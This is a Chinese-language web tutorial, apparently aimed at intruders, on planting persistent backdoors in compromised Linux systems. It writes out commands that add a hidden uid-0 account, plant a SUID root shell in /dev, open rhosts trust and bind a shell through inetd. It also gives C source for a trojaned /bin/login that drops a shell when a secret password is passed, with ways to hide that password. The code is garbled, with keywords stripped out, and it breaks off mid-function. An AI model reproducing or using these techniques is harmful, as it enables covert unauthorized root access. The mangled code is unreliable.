黑客后门:Linux黑客的Linux后门技术及实战

入侵者完全控制系统后为方便下次进入而采用种技术般通过修改系统配置文件和安装第 3方后门工具来实现具有隐蔽性能绕开系统日志不易被系统管理员发现等特点

  常用后门技术

  增加超级用户账号

  破解/嗅探用户密码

  放置SUID Shell

  rhosts + +

  利用系统服务

  TCP/UDP/ICMP Shell

  Crontab定时任务

  共享库文件

  工具包rootkit

  可装载内核模块(LKM)

  增加超级用户


# echo "e4gle:x:0:0::/:/bin/sh" >> /etc/passwd
# echo "e4gle::-1:-1:-1:-1:-1:-1:500" >> /etc/shadow
 

  如果系统不允许uid=0用户远程登录还需要增加个普通用户账号

  破解/嗅探用户密码

  获得shadow文件后用John the Ripper 工具破解薄弱用户密码安装snfit等嗅探工具监听telnet、ftp等端口收集用户密码

  放置SUID Shell


# cp /bin/bash /dev/.rootshell
# chmod u+s /dev/.rootshell
 

  普通用户在本机运行/dev/.rootshell即可获得个root权限shell


rhosts + +

# echo "+ +" > /.rhosts
# rsh -l root victim.com CSh -i
 

  远程可以得到个rootshell

  利用系统服务

  修改/etc/inetd.conf daytime stream tcp nowait /bin/sh sh -I ;用trojan替换in.telnetd、in.rexecd等ed服务重定向login

  TCP/UDP/ICMP Shell

  BindShell大部分是基于TCP/UDP协议网络服务在高端口监听很容易被发现Ping Backdoor通过ICMP包激活后门形成个Shell通道TCP ACK数据包后门能够穿越防火墙

Crontab定时任务

  通过Crontab调度已安装后门定时运行般在深夜时段是系统管理员不在线时间

  共享库文件

  在共享库中嵌入后门使用后门口令激活Shell获得权限能够躲避系统管理员对 2进制文件本身校验

  工具包Rootkit

  包含系列系统及后门工具:

  - 清除日志中登录记录

  - 伪装校验和

  - 替换netstat、ps等网络工具

  - 后门登录易于安装和使用

  可装载内核模块(LKM)

  LKM:Loadable Kernel Modules 动态加载不需要重新编译内核

  截获系统具有隐藏目录、文件、进程、网络连接等强大功能

  自身隐蔽性好发现难度较大

  著名LKM包有adore和knark

  后门检测

  以自己经验结合特定工具手工作些检测使用Tripwire或md5校验来检查系统借助IDS系统监听到目标机器可疑网络连接

  例子:Login后门

  入侵者先把原始/bin/login备份再用替换/bin/login入侵者telnet登录进来时候通过环境变量或者终端类型传递了正确后门密码将直接获得个Shell;如果是普通用户登录将会重定向到原始login文件来处理正常登录

  最简单login后门ulogin.c源代码如下:

  例子:login后门


# <stdio.h>
# PASSWord "passWORD"
# _PATH_LOGIN "/sbin/logins"

(argc, argv, envp)
argc;
char **argv, **envp;
{
 char *display = getenv("DISPLAY");
  ( display NULL ) {
  execve(_PATH_LOGIN, argv, envp);
  perror(_PATH_LOGIN);
  exit(1);
 }
  (!strcmp(display,PASSWORD)) {
  system("/bin/csh");
  exit(1);
 }
 execve(_PATH_LOGIN, argv, envp);
 exit(1);
}
 

利用后门登录
  首先Telnet服务是打开在自己机器上:


bash$ eXPort DISPLAY=passWORD
bash$ telnet victim.com
Trying xxx.xxx.xxx.xxx...
Connected to victim.com (xxx.xxx.xxx.xxx).
Escape character is '^]'.
% _
 

  Strings命令

  s命令能够打印出 2进制文件中可显示用于刚才ulogin:


bash$ s ulogin
/lib/ld-Linux.so.2
..............
DISPLAY
/sbin/logins
passWORD
/bin/csh
 

  加密后门密码

  1采用DES算法即crypt( )编写gen.c:


# <unistd.h>
( argc, char *argv)
{
(argc != 3) {
prf("usage: %s <password> <salt>\n", argv[0]);
exit(1);
}
prf("%s\n", crypt(argv[1], argv[2]));
}
 

  2、编译为gen执行./gen hack ui得到shadow结果为UiVqMWvDrIQjA

  3、修改后门源ulogin.c:

  -- 以密文形式密码代替ulogin.c中宏PASSWORD值

  -- 如果后门密码正确直接给出Shell:


(!strcmp(PASSWORD, crypt(display,PASSWORD)))
{
system(SHELL);
exit(1);
}
 

  用s命令只能看到加密过密码

  采用异或(XOR)算法以十 6进制方式表示以达到non- prable效果

  1、编码encode.c如下:

char magic="\x71\x67\x6d\x7a\x65\x61\x7a";
char *de(char *str,char *key)
{
i=0,j=0,len;
len=strlen(key);
while(str[i] != '\0') {
str[i]^=key[j];
j;
(jlen) j=0;
i;
}
str;
}
void display(char *str)
{
i;
for(i=
Tags:  linux后门 linux黑客 黑客后门

延伸阅读

最新评论

发表评论